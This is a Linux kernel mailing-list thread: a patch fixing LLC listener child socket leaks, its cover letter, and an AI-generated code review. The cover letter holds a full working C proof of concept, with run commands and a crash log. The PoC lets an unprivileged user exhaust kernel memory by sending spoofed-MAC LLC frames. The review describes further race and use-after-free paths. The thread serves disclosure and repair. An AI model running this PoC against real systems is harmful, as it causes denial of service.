[PATCH net v2 0/1] llc: fix listener child socket leaks

[PATCH net v2 0/1] llc: fix listener child socket leaks

[Zihan Xi]

Hi Linux kernel maintainers,

We found and validated a issue in net/llc/llc_conn.c. The bug is reachable by a
non-root user via user and net namespace.
We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

llc_conn_handler() creates a child socket before the passive-open path
finishes publishing it to accept(). Two listener-side paths can leave
that child behind.

First, non-SABME frames could still allocate an incoming child even
though only SABME is a valid passive-open request. Those frames never
publish the child to accept() and leak the child socket and its device
reference. Repeating such frames with unique source addresses leaks LLC
child sockets until memory is exhausted.

Second, even for a valid SABME request, the child is created before the
connection state machine reaches LLC_CONN_PRIM. If SABME setup fails
first, or if a listener-owned SABME skb is dropped before the
current tree can process it, that unpublished child can remain linked
in the SAP tables with its held device reference while it is still
invisible to accept().

The root cause is older than the later accept-path cleanup. That later
change did not introduce the listener-side allocation-before-admission
fact; it only preserved the same underlying behavior in a refactored
accept path. Therefore the Fixes tag points at the earliest visible git
history where this root-cause fact is already present.

This v2 only creates a child socket for SABME commands. DISC commands
and command frames with P=1 get the disconnected-mode DM response
without allocating a child socket or running the listener through the
connection state machine. Other non-SABME listener frames are dropped.
For listener-owned SABME traffic, no child is created before
backlog enqueue, so backlog-side drops in the current tree cannot
strand an unpublished child. If direct SABME processing fails before
the new child becomes visible to accept(), the listener tears that
unpublished child back out of the SAP and releases its held device
reference.

The reproducer writes panic_on_oom only to turn the final memory
exhaustion into stable crash evidence. It is not a prerequisite for the
underlying leak or for the unprivileged trigger path itself.

packetdrill was not used here because the trigger depends on combining a
PF_LLC listening socket with raw AF_PACKET injection over a veth pair
while rotating the source MAC address to force distinct child socket
creation. The PoC is centered on that listener plus raw-packet resource
leak path rather than on a packetdrill-friendly protocol timing script.

Reproducer:

    gcc -O2 -static -o poc poc.c
    unshare -Urn sh -c '
        ip link add llc_rx0 type veth peer name llc_tx0
        ip link set llc_rx0 address 02:11:22:33:44:55
        ip link set llc_tx0 address 02:11:22:33:44:66
        ip link set llc_rx0 up
        ip link set llc_tx0 up
        ./poc llc_rx0 llc_tx0 110000
    '

For deterministic crash evidence only, after confirming the leak with
that unprivileged trigger path, we additionally set:

    echo 2 > /proc/sys/vm/panic_on_oom

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------
#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/if.h>
#include <linux/llc.h>
#include <net/ethernet.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

#ifndef AF_LLC
#define AF_LLC 26
#endif

#define DEFAULT_RX_IF "llc_rx0"
#define DEFAULT_TX_IF "llc_tx0"
#define DEFAULT_SAP 0xc0
#define DEFAULT_REPORT_EVERY 10000ULL

static void die_errno(const char *what)
{
	perror(what);
	exit(EXIT_FAILURE);
}

static void usage(const char *prog)
{
	fprintf(stderr,
		"usage: %s [rx_if] [tx_if] [count]\n"
		"  rx_if: LLC listener interface (default: %s)\n"
		"  tx_if: raw packet sender interface (default: %s)\n"
		"  count: number of DISC frames to send, 0 means forever\n",
		prog, DEFAULT_RX_IF, DEFAULT_TX_IF);
}

static void get_if_hwaddr(const char *ifname, unsigned char mac[ETH_ALEN])
{
	struct ifreq ifr;
	int fd;

	fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (fd < 0)
		die_errno("socket(AF_INET)");

	memset(&ifr, 0, sizeof(ifr));
	snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
	if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
		die_errno("ioctl(SIOCGIFHWADDR)");

	memcpy(mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
	close(fd);
}

static int get_ifindex(const char *ifname)
{
	struct ifreq ifr;
	int fd;

	fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (fd < 0)
		die_errno("socket(AF_INET)");

	memset(&ifr, 0, sizeof(ifr));
	snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
	if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
		die_errno("ioctl(SIOCGIFINDEX)");

	close(fd);
	return ifr.ifr_ifindex;
}

static int make_listener(const char *ifname, uint8_t sap, unsigned char mac[ETH_ALEN])
{
	struct sockaddr_llc addr;
	int fd;

	fd = socket(AF_LLC, SOCK_STREAM, 0);
	if (fd < 0)
		die_errno("socket(AF_LLC)");

	get_if_hwaddr(ifname, mac);

	memset(&addr, 0, sizeof(addr));
	addr.sllc_family = AF_LLC;
	addr.sllc_arphrd = ARPHRD_ETHER;
	addr.sllc_sap = sap;
	memcpy(addr.sllc_mac, mac, ETH_ALEN);

	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die_errno("bind(AF_LLC)");
	if (listen(fd, 16) < 0)
		die_errno("listen(AF_LLC)");

	return fd;
}

static int make_packet_socket(const char *ifname, int *ifindex_out)
{
	struct sockaddr_ll sll;
	int fd;
	int one = 1;
	int ifindex = get_ifindex(ifname);

	fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if (fd < 0)
		die_errno("socket(AF_PACKET)");

	setsockopt(fd, SOL_PACKET, PACKET_QDISC_BYPASS, &one, sizeof(one));

	memset(&sll, 0, sizeof(sll));
	sll.sll_family = AF_PACKET;
	sll.sll_protocol = htons(ETH_P_ALL);
	sll.sll_ifindex = ifindex;

	if (bind(fd, (struct sockaddr *)&sll, sizeof(sll)) < 0)
		die_errno("bind(AF_PACKET)");

	*ifindex_out = ifindex;
	return fd;
}

static void fill_src_mac(unsigned char mac[ETH_ALEN], uint64_t n)
{
	mac[0] = 0x02;
	mac[1] = (n >> 32) & 0xff;
	mac[2] = (n >> 24) & 0xff;
	mac[3] = (n >> 16) & 0xff;
	mac[4] = (n >> 8) & 0xff;
	mac[5] = n & 0xff;
}

int main(int argc, char **argv)
{
	static unsigned char frame[ETH_ZLEN];
	unsigned char dst_mac[ETH_ALEN];
	unsigned char src_mac[ETH_ALEN];
	struct sockaddr_ll sll;
	const char *rx_if = DEFAULT_RX_IF;
	const char *tx_if = DEFAULT_TX_IF;
	uint64_t count = 0;
	uint64_t i = 1;
	int listener_fd;
	int packet_fd;
	int ifindex;

	if (argc > 1 && (!strcmp(argv[1], "-h") || !strcmp(argv[1], "--help"))) {
		usage(argv[0]);
		return 0;
	}
	if (argc > 1)
		rx_if = argv[1];
	if (argc > 2)
		tx_if = argv[2];
	if (argc > 3) {
		char *end = NULL;

		errno = 0;
		count = strtoull(argv[3], &end, 0);
		if (errno || !end || *end != '\0') {
			fprintf(stderr, "invalid count: %s\n", argv[3]);
			return EXIT_FAILURE;
		}
	}
	if (argc > 4) {
		usage(argv[0]);
		return EXIT_FAILURE;
	}

	listener_fd = make_listener(rx_if, DEFAULT_SAP, dst_mac);
	packet_fd = make_packet_socket(tx_if, &ifindex);

	memset(frame, 0, sizeof(frame));
	memcpy(frame, dst_mac, ETH_ALEN);
	((struct ethhdr *)frame)->h_proto = htons(3);
	frame[ETH_HLEN + 0] = DEFAULT_SAP;
	frame[ETH_HLEN + 1] = 0x04;
	frame[ETH_HLEN + 2] = 0x43; /* DISC command, P/F=0 */

	memset(&sll, 0, sizeof(sll));
	sll.sll_family = AF_PACKET;
	sll.sll_ifindex = ifindex;
	sll.sll_halen = ETH_ALEN;
	memcpy(sll.sll_addr, dst_mac, ETH_ALEN);

	fprintf(stderr,
		"listener_if=%s sender_if=%s sap=0x%02x count=%s\n",
		rx_if, tx_if, DEFAULT_SAP, count ? argv[3] : "0");
	fprintf(stderr,
		"listener_mac=%02x:%02x:%02x:%02x:%02x:%02x\n",
		dst_mac[0], dst_mac[1], dst_mac[2],
		dst_mac[3], dst_mac[4], dst_mac[5]);
	fprintf(stderr,
		"sending LLC DISC commands with a unique spoofed source MAC each time\n");

	while (!count || i <= count) {
		fill_src_mac(src_mac, i);
		if (!memcmp(src_mac, dst_mac, ETH_ALEN))
			src_mac[ETH_ALEN - 1] ^= 1;
		memcpy(frame + ETH_ALEN, src_mac, ETH_ALEN);

		if (sendto(packet_fd, frame, sizeof(frame), 0,
			   (struct sockaddr *)&sll, sizeof(sll)) < 0)
			die_errno("sendto(AF_PACKET)");

		if (!(i % DEFAULT_REPORT_EVERY))
			fprintf(stderr, "sent=%llu\n",
				(unsigned long long)i);
		i++;
	}

	close(packet_fd);
	close(listener_fd);
	return 0;
}
------END poc.c--------

----BEGIN crash log----
[ 1665.704541][T10284] Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled

[ 1665.705358][T10284] CPU: 0 UID: 0 PID: 10284 Comm: poc Not tainted 6.12.74 #3

[ 1665.705911][T10284] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014

[ 1665.706676][T10284] Call Trace:

[ 1665.706943][T10284]  <TASK>

[1665.707181][T10284] dump_stack_lvl (lib/dump_stack.c:105 (discriminator 2))

[1665.707568][T10284] panic (kernel/panic.c:339 (discriminator 1))

[1665.707918][T10284] ? dump_header (include/linux/rcupdate.h:815 (discriminator 1) mm/oom_kill.c:455 (discriminator 1) mm/oom_kill.c:478 (discriminator 1))

[1665.708305][T10284] ? __pfx_panic (kernel/panic.c:277)
-----END crash log-----
changes in v2:
  - Send stateless DM replies for DISC and command frames with P=1
    instead of running non-SABME frames on the listener socket.
  - Drop other non-SABME listener frames without creating a child socket
    or entering the listener connection state machine.
  - Avoid creating a listener-owned SABME child before backlog enqueue,
    so backlog-side drops in the current tree cannot strand an
    unpublished child.
  - Roll back unpublished child sockets when direct SABME processing
    fails before LLC_CONN_PRIM makes them visible to accept().
  - Clarify that panic_on_oom is only used to make crash evidence
    deterministic, not to express an extra trigger privilege.
  - Explain why this PoC is kept as a raw AF_PACKET reproducer rather
    than rewritten as packetdrill.
  - Add the required Assisted-by trailer in the numbered patch.
  - v1 Link: https://lore.kernel.org/all/cover.1784725007.git.zihanx@nebusec.ai/

Best regards,
Zihan Xi

Zihan Xi (1):
  llc: fix listener child socket leaks

 net/llc/llc_conn.c | 90 +++++++++++++++++++++++++++++++++++++++++-----
 1 file changed, 81 insertions(+), 9 deletions(-)

-- 
2.43.0

[PATCH net v2 1/1] llc: fix listener child socket leaks

[Zihan Xi]

llc_conn_handler() creates a child socket before the passive-open path
finishes publishing it to accept(). Two listener-side paths can leave
that child behind.

First, non-SABME frames could still allocate an incoming child even
though only SABME is a valid passive-open request. Those frames never
publish the child to accept() and leak the child socket and its device
reference.

Second, even for a valid SABME request, the child is created before the
connection state machine reaches LLC_CONN_PRIM. If the SABME setup path
fails first, or if a listener-owned SABME skb is dropped before the
current tree can process it, that unpublished child can remain linked
in the SAP tables with its held device reference while it is still
invisible to accept().

Only create an incoming child for SABME commands. For non-SABME
listener traffic, send stateless DM responses for DISC and command
frames with P=1, and drop all other frames without entering the
listener connection state machine. For listener-owned SABME traffic, do
not create the child before backlog enqueue, so backlog-side drops in
the current tree cannot strand an unpublished child. If direct SABME
processing then fails before publication, roll that child back out of
the SAP and release its device reference.

This closes both leak paths while preserving the existing passive-open
flow for successful SABME connections.

Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
 net/llc/llc_conn.c | 90 +++++++++++++++++++++++++++++++++++++++++-----
 1 file changed, 81 insertions(+), 9 deletions(-)

diff --git a/net/llc/llc_conn.c b/net/llc/llc_conn.c
index 260460d50..421f0d993 100644
--- a/net/llc/llc_conn.c
+++ b/net/llc/llc_conn.c
@@ -771,10 +771,55 @@ static struct sock *llc_create_incoming_sock(struct sock *sk,
 	return newsk;
 }
 
+static struct sock *llc_create_incoming_sock_from_skb(struct sock *sk,
+						      struct sk_buff *skb)
+{
+	struct llc_addr saddr, daddr;
+
+	llc_pdu_decode_sa(skb, saddr.mac);
+	llc_pdu_decode_ssap(skb, &saddr.lsap);
+	llc_pdu_decode_da(skb, daddr.mac);
+	llc_pdu_decode_dsap(skb, &daddr.lsap);
+
+	return llc_create_incoming_sock(sk, skb->dev, &saddr, &daddr);
+}
+
+static void llc_release_incoming_sock(struct sock *sk)
+{
+	struct llc_sock *llc = llc_sk(sk);
+
+	llc_sap_remove_socket(llc->sap, sk);
+	dev_put(llc->dev);
+	sock_orphan(sk);
+	llc_sk_free(sk);
+}
+
+static void llc_conn_send_dm_rsp(struct llc_sap *sap, struct sk_buff *skb,
+				 struct llc_addr *saddr, u8 f_bit)
+{
+	struct sk_buff *nskb;
+	int rc;
+
+	nskb = llc_alloc_frame(NULL, skb->dev, LLC_PDU_TYPE_U, 0);
+	if (!nskb)
+		return;
+
+	llc_pdu_header_init(nskb, LLC_PDU_TYPE_U, sap->laddr.lsap,
+			    saddr->lsap, LLC_PDU_RSP);
+	llc_pdu_init_as_dm_rsp(nskb, f_bit);
+	rc = llc_mac_hdr_init(nskb, skb->dev->dev_addr, saddr->mac);
+	if (unlikely(rc))
+		kfree_skb(nskb);
+	else
+		dev_queue_xmit(nskb);
+}
+
 void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
 {
 	struct llc_addr saddr, daddr;
+	struct sock *newsk = NULL;
 	struct sock *sk;
+	int rc;
 
 	llc_pdu_decode_sa(skb, saddr.mac);
 	llc_pdu_decode_ssap(skb, &saddr.lsap);
@@ -795,11 +840,24 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
 	 * in the newly created struct sock private area. -acme
 	 */
 	if (unlikely(sk->sk_state == TCP_LISTEN)) {
-		struct sock *newsk = llc_create_incoming_sock(sk, skb->dev,
-							      &saddr, &daddr);
-		if (!newsk)
+		if (llc_conn_ev_rx_sabme_cmd_pbit_set_x(sk, skb)) {
+			if (!llc_conn_ev_rx_disc_cmd_pbit_set_x(sk, skb)) {
+				u8 f_bit;
+
+				llc_pdu_decode_pf_bit(skb, &f_bit);
+				llc_conn_send_dm_rsp(sap, skb, &saddr, f_bit);
+			} else if (!llc_conn_ev_rx_xxx_cmd_pbit_set_1(sk,
+								       skb)) {
+				llc_conn_send_dm_rsp(sap, skb, &saddr, 1);
+			}
 			goto drop_unlock;
-		skb_set_owner_r(skb, newsk);
+		} else if (!sock_owned_by_user(sk)) {
+			newsk = llc_create_incoming_sock(sk, skb->dev, &saddr,
+							 &daddr);
+			if (!newsk)
+				goto drop_unlock;
+			skb_set_owner_r(skb, newsk);
+		}
 	} else {
 		/*
 		 * Can't be skb_set_owner_r, this will be done at the
@@ -813,9 +871,13 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
 		skb->sk = sk;
 		skb->destructor = sock_efree;
 	}
-	if (!sock_owned_by_user(sk))
-		llc_conn_rcv(sk, skb);
-	else {
+	if (!sock_owned_by_user(sk)) {
+		rc = llc_conn_rcv(sk, skb);
+		if (unlikely(rc) && newsk) {
+			llc_release_incoming_sock(newsk);
+			goto out;
+		}
+	} else {
 		dprintk("%s: adding to backlog...\n", __func__);
 		llc_set_backlog_type(skb, LLC_PACKET);
 		if (sk_add_backlog(sk, skb, READ_ONCE(sk->sk_rcvbuf)))
@@ -852,12 +914,22 @@ static int llc_backlog_rcv(struct sock *sk, struct sk_buff *skb)
 {
 	int rc = 0;
 	struct llc_sock *llc = llc_sk(sk);
+	struct sock *newsk = NULL;
 
 	if (likely(llc_backlog_type(skb) == LLC_PACKET)) {
-		if (likely(llc->state > 1)) /* not closed */
+		if (likely(llc->state > 1)) { /* not closed */
+			if (unlikely(sk->sk_state == TCP_LISTEN)) {
+				newsk = llc_create_incoming_sock_from_skb(sk, skb);
+				if (!newsk)
+					goto out_kfree_skb;
+				skb_set_owner_r(skb, newsk);
+			}
 			rc = llc_conn_rcv(sk, skb);
-		else
+			if (unlikely(rc) && newsk)
+				llc_release_incoming_sock(newsk);
+		} else {
 			goto out_kfree_skb;
+		}
 	} else if (llc_backlog_type(skb) == LLC_EVENT) {
 		/* timer expiration event */
 		if (likely(llc->state > 1))  /* not closed */
-- 
2.43.0

Re: [PATCH net v2 1/1] llc: fix listener child socket leaks

[Jakub Kicinski]

This is an AI-generated review of your patch. The human sending this
email has considered the AI review valid, or at least plausible.
---
    llc: fix listener child socket leaks

The patch restricts passive-open child creation in llc_conn_handler() to
SABME commands, answers other listener traffic with stateless DM responses,
defers child creation for listener-owned SABME frames to llc_backlog_rcv(),
and adds a rollback helper that unhashes and frees an unpublished child if
llc_conn_rcv() returns an error.

A few questions below about the new paths.

Quoting the commit message:

>     Second, even for a valid SABME request, the child is created before the
>     connection state machine reaches LLC_CONN_PRIM. [...]
>     This closes both leak paths while preserving the existing passive-open
>     flow for successful SABME connections.

[Severity: High]
This isn't a leak introduced by this patch, but does the claim that "this
closes both leak paths" hold while a third listener-child leak remains?

A child that was successfully published to the listener's accept queue but
never accepted is never reaped when the listener is closed.  On the success
path the child is referenced only by the queued skb:

net/llc/llc_conn.c:llc_conn_state_process() {
	case LLC_CONN_PRIM:
		skb_get(skb);
		skb_queue_tail(&sk->sk_receive_queue, skb);
		sk->sk_state_change(sk);
}

At that point the child holds two socket references (sk_alloc plus
sk_nulls_add_node_rcu), a netdev reference from dev_hold() in
llc_create_incoming_sock(), and a SAP reference from llc_sap_hold() in
llc_sap_add_socket().

llc_ui_release() never walks the accept queue, and the listener teardown
ends in llc_sk_free(), which only purges the queue:

net/llc/llc_conn.c:llc_sk_free() {
	skb_queue_purge(&sk->sk_receive_queue);
}

kfree_skb() there calls sock_rfree(), which only uncharges rmem - no
sock_put() on the child, no llc_sap_remove_socket(), no dev_put().  Nothing
else in net/llc reaps such a child: there is no netdevice notifier in
net/llc, and the LLC_DISC_PRIM arm of llc_conn_state_process() requires
sk_state == TCP_ESTABLISHED while an unaccepted child is still TCP_CLOSE.

So bind() + listen(), a peer SABME, then close() without accept() appears to
leak the struct sock, the netdev reference (which then makes
unregister_netdevice() wait forever) and the SAP reference.  Would it be
worth softening the commit message, or handling the accept-queue children in
llc_ui_release()?

> diff --git a/net/llc/llc_conn.c b/net/llc/llc_conn.c
> index 260460d50f54c..421f0d9935188 100644
> --- a/net/llc/llc_conn.c
> +++ b/net/llc/llc_conn.c
> @@ -771,10 +771,55 @@ static struct sock *llc_create_incoming_sock(struct sock *sk,
>  	return newsk;
>  }
>  
> +static struct sock *llc_create_incoming_sock_from_skb(struct sock *sk,
> +						      struct sk_buff *skb)
> +{
> +	struct llc_addr saddr, daddr;
> +
> +	llc_pdu_decode_sa(skb, saddr.mac);
> +	llc_pdu_decode_ssap(skb, &saddr.lsap);
> +	llc_pdu_decode_da(skb, daddr.mac);
> +	llc_pdu_decode_dsap(skb, &daddr.lsap);
> +
> +	return llc_create_incoming_sock(sk, skb->dev, &saddr, &daddr);
> +}

[Severity: Medium]
Is skb->dev still guaranteed to be alive here?  The only caller of
llc_create_incoming_sock_from_skb() is llc_backlog_rcv(), which runs from
release_sock() in process context, arbitrarily long after the RX softirq
that queued the skb.  Backlogged skbs hold no reference on skb->dev, and
llc_create_incoming_sock() both takes and dereferences it:

net/llc/llc_conn.c:llc_create_incoming_sock() {
	newllc->dev = dev;
	dev_hold(dev);
	llc_sap_add_socket(llc->sap, newsk);
}

llc_sap_add_socket() then reads llc->dev->ifindex.  The lock owner can hold
the socket lock across a sleeping operation that does not drain the backlog
(for instance a copy_to_user() fault in llc_ui_recvmsg()), and the receiving
device can be unregistered and freed in that window
(unregister_netdevice -> synchronize_net -> netdev_wait_allrefs ->
free_netdev).

The listener's own bind-time reference covers only the device matching its
own MAC, while the frame can arrive on a different netdev (macvlan, bond,
duplicate MAC, or a null-address listener matched by llc_lookup_listener()).
Can dev_hold() here increment a refcount in freed memory, and can the child
then keep a dangling llc->dev for its whole lifetime (used by
dev_queue_xmit() from llc_conn_ac_*, and by llc_cmsg_rcv())?

llc_conn_handler() is safe for exactly the opposite reason: it runs in the RX
softirq that owns skb->dev.

> +
> +static void llc_release_incoming_sock(struct sock *sk)
> +{
> +	struct llc_sock *llc = llc_sk(sk);
> +
> +	llc_sap_remove_socket(llc->sap, sk);
> +	dev_put(llc->dev);
> +	sock_orphan(sk);
> +	llc_sk_free(sk);
> +}

[Severity: High]
This tears down the child while holding only the parent listener's
bh_lock_sock(), never the child's own lock.  The child was already published
into the RCU-visible SAP hash before the state machine ran:

net/llc/llc_conn.c:llc_sap_add_socket() {
	sock_set_flag(sk, SOCK_RCU_FREE);
	sap->sk_count++;
	sk_nulls_add_node_rcu(sk, laddr_hb);
}

Can another CPU processing a second frame for the same (laddr, daddr) tuple -
a retransmitted SABME, or any I/S frame, since llc_estab_match() ignores the
device - already have found the child via __llc_lookup_established(), taken a
refcount and acquired bh_lock_sock(child) uncontended, and be inside
llc_conn_rcv() on it while this runs?

llc_sk_free() sets llc->state = LLC_CONN_OUT_OF_SVC (0), and the state
machine only rejects the upper bound:

net/llc/llc_conn.c:llc_conn_service() {
	if (llc->state > NBR_CONN_STATES)
		goto out;
}

so the concurrent path reaches llc_qualify_conn_ev(), which computes

	&llc_conn_state_table[llc->state - 1]

and llc_find_offset(llc->state - 1, ev->type) with index -1, then
dereferences and indirectly calls the resulting transition pointers via
(*next_trans)->ev(sk, skb).  The missing state == 0 guard in
llc_conn_service() is pre-existing, but is this the first path that destroys
a hash-published child from RX softirq without the child's lock?

Related on the same helper: dev_put(llc->dev) can drop the netdev reference
while the other CPU is still transmitting with llc->dev, and the
skb_queue_purge() calls inside llc_sk_free() race with concurrent queueing
onto the same lists.  Should the child's bh_lock_sock() be taken (or the
teardown deferred) here?

[Severity: Medium]
Is calling llc_sk_free() from softirq with bh_lock_sock(listener) held safe
with respect to the LLC connection timers?  llc_sk_free() starts with the
synchronous teardown:

net/llc/llc_conn.c:llc_sk_stop_all_timers() {
	if (sync) {
		timer_delete_sync(&llc->pf_cycle_timer.timer);
		timer_delete_sync(&llc->ack_timer.timer);
		...
	}
}

__timer_delete_sync() does lock_map_acquire(&timer->lockdep_map), so this
records sk_lock.slock (class slock-AF_LLC) -> llc timer lockdep class.  The
timer callbacks establish the inverse order:

net/llc/llc_c_ac.c:llc_conn_tmr_common_cb() {
	struct sk_buff *skb = alloc_skb(0, GFP_ATOMIC);

	bh_lock_sock(sk);
}

on an AF_LLC socket, i.e. the same slock class, from inside the timer
lockdep map.  On CONFIG_PROVE_LOCKING kernels, does this produce a possible
circular locking dependency report from a path reachable by a received SABME
frame plus a GFP_ATOMIC failure in llc_conn_ac_send_ua_rsp_f_set_p()?

Before this patch llc_sk_free() was only reached from process context
(llc_ui_release() after release_sock()), and the state machine deliberately
uses the non-sync llc_conn_ac_stop_all_timers() in softirq.

Two details for the record: lockdep_assert_preemption_enabled() in
__timer_delete_sync() is guarded by IS_ENABLED(CONFIG_PREEMPT_RT), and no
timer is armed for a fresh ADM/SABME child (llc_adm_actions_2 arms none), so
only the lockdep ordering seems at stake.

> +
> +static void llc_conn_send_dm_rsp(struct llc_sap *sap, struct sk_buff *skb,
> +				 struct llc_addr *saddr, u8 f_bit)
> +{
> +	struct sk_buff *nskb;
> +	int rc;
> +
> +	nskb = llc_alloc_frame(NULL, skb->dev, LLC_PDU_TYPE_U, 0);
> +	if (!nskb)
> +		return;
> +
> +	llc_pdu_header_init(nskb, LLC_PDU_TYPE_U, sap->laddr.lsap,
> +			    saddr->lsap, LLC_PDU_RSP);
> +	llc_pdu_init_as_dm_rsp(nskb, f_bit);

[Severity: Low]
This isn't a bug, but this helper open-codes the ADM-state action
llc_conn_ac_send_dm_rsp_f_set_p() / llc_conn_ac_send_dm_rsp_f_set_1(), i.e.
the actions of llc_adm_state_trans_3 / llc_adm_state_trans_4 in
net/llc/llc_c_st.c:

net/llc/llc_c_st.c {
static const llc_conn_action_t llc_adm_actions_3[] = {
	[0] = llc_conn_ac_send_dm_rsp_f_set_p,
	[1] = llc_conn_disc,
	[2] = NULL,
};
}

The encoding matches field for field today, but the skb allocation, header
init, MAC header init and xmit are now duplicated in the RX path with
nothing linking the two sites.  Could the state machine action be reused, or
at least a comment added referencing llc_adm_state_trans_3/4?

> +	rc = llc_mac_hdr_init(nskb, skb->dev->dev_addr, saddr->mac);
> +	if (unlikely(rc))
> +		kfree_skb(nskb);
> +	else
> +		dev_queue_xmit(nskb);
> +}
> +
>  void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
>  {
>  	struct llc_addr saddr, daddr;
> +	struct sock *newsk = NULL;
>  	struct sock *sk;
> +	int rc;

[ ... ]

> @@ -795,11 +840,24 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
>  	 * in the newly created struct sock private area. -acme
>  	 */
>  	if (unlikely(sk->sk_state == TCP_LISTEN)) {
> -		struct sock *newsk = llc_create_incoming_sock(sk, skb->dev,
> -							      &saddr, &daddr);
> -		if (!newsk)
> +		if (llc_conn_ev_rx_sabme_cmd_pbit_set_x(sk, skb)) {
> +			if (!llc_conn_ev_rx_disc_cmd_pbit_set_x(sk, skb)) {
> +				u8 f_bit;
> +
> +				llc_pdu_decode_pf_bit(skb, &f_bit);
> +				llc_conn_send_dm_rsp(sap, skb, &saddr, f_bit);
> +			} else if (!llc_conn_ev_rx_xxx_cmd_pbit_set_1(sk,
> +								       skb)) {
> +				llc_conn_send_dm_rsp(sap, skb, &saddr, 1);
> +			}
>  			goto drop_unlock;
> -		skb_set_owner_r(skb, newsk);
> +		} else if (!sock_owned_by_user(sk)) {
> +			newsk = llc_create_incoming_sock(sk, skb->dev, &saddr,
> +							 &daddr);
> +			if (!newsk)
> +				goto drop_unlock;
> +			skb_set_owner_r(skb, newsk);
> +		}

[Severity: High]
When the frame is a SABME command and sock_owned_by_user(sk) is true, no
owner is installed on the skb at all: this branch is skipped by the
!sock_owned_by_user(sk) guard, and the non-listen else branch (which does
skb_orphan(); sock_hold(); skb->sk = sk;) is not taken either.  The skb is
then queued with skb->sk == NULL:

	llc_set_backlog_type(skb, LLC_PACKET);
	if (sk_add_backlog(sk, skb, READ_ONCE(sk->sk_rcvbuf)))

RX skbs are orphaned, which is exactly why the non-listen branch sets
skb->sk explicitly.

At drain time the new compensating assignment in llc_backlog_rcv() only runs
when both llc->state > 1 and sk->sk_state == TCP_LISTEN hold.  If the socket
has left TCP_LISTEN while llc->state > 1, execution falls through to
rc = llc_conn_rcv(sk, skb), and the state machine dispatches on skb->sk, not
on the sk argument:

net/llc/llc_conn.c:llc_conn_state_process() {
	struct llc_sock *llc = llc_sk(skb->sk);
	...
	rc = llc_conn_service(skb->sk, skb);
}

net/llc/llc_conn.c:llc_conn_service() {
	struct llc_sock *llc = llc_sk(sk);
	int rc = 1;

	if (llc->state > NBR_CONN_STATES)
}

llc_sk() is a plain cast, so is this a NULL dereference on llc->state?

Can this sequence occur?  bind() + listen() leaves sk_state == TCP_LISTEN and
llc->state == LLC_CONN_STATE_ADM.  llc_ui_connect() has no TCP_LISTEN
rejection, and after listen() sock->state is still SS_UNCONNECTED, so only
the SS_CONNECTING/-EALREADY check applies:

net/llc/af_llc.c:llc_ui_connect() {
	sock->state = SS_CONNECTING;
	sk->sk_state   = TCP_SYN_SENT;
	...
	rc = llc_establish_connection(sk, llc->dev->dev_addr, addr->sllc_mac,
				      addr->sllc_sap);
}

If an incoming SABME is enqueued unowned between lock_sock() and
sk->sk_state = TCP_SYN_SENT, then llc_establish_connection() advances
llc->state to LLC_CONN_STATE_SETUP (2), and the following release_sock()
(from llc_ui_wait_for_conn() or the out: label, including the -EINPROGRESS
path) drains the backlog with llc->state == 2 and sk_state == TCP_SYN_SENT.

>  	} else {
>  		/*
>  		 * Can't be skb_set_owner_r, this will be done at the
> @@ -813,9 +871,13 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
>  		skb->sk = sk;
>  		skb->destructor = sock_efree;
>  	}
> -	if (!sock_owned_by_user(sk))
> -		llc_conn_rcv(sk, skb);
> -	else {
> +	if (!sock_owned_by_user(sk)) {
> +		rc = llc_conn_rcv(sk, skb);
> +		if (unlikely(rc) && newsk) {
> +			llc_release_incoming_sock(newsk);
> +			goto out;
> +		}
> +	} else {

[Severity: Medium]
Both new rollback sites treat rc != 0 as equivalent to "the child was never
published to accept()".  Is that equivalence enforced anywhere?

rc == 0 does not imply publication.  Publication only happens in the
ind_prim == LLC_CONN_PRIM arm of llc_conn_state_process(), while
llc_conn_service() can return 0 with no ind_prim set at all - for example a
fresh child in LLC_CONN_STATE_ADM receiving a DISC command matches
llc_adm_state_trans_3 (send DM rsp, llc_conn_disc, next_state ADM), which
sets no indication.  That matters mainly for the llc_backlog_rcv() branch
below, which creates a child for any LLC_PACKET with no SABME qualification,
so such a frame would leave the child hashed in the SAP with its netdev and
SAP references and unreachable by accept().  In llc_conn_handler() the child
is only created for SABME, and ADM/SABME matches llc_adm_state_trans_2 whose
action list ends in llc_conn_ac_conn_ind(), so rc == 0 does imply publication
here.

Conversely, rc != 0 does not by construction imply "not published":

net/llc/llc_conn.c:llc_conn_state_process() {
	case LLC_DATA_PRIM:
		if (!llc_data_accept_state(llc->state))
			sk->sk_write_space(sk);
		else
			rc = llc->failed_data_req = 1;
}

runs after the ind_prim switch that queues the child.  No current ADM/SABME
transition sets both prims, but should the rollback key off an explicit
"published" flag rather than off rc, so that a future transition change does
not turn this into a use-after-free in llc_ui_accept()?

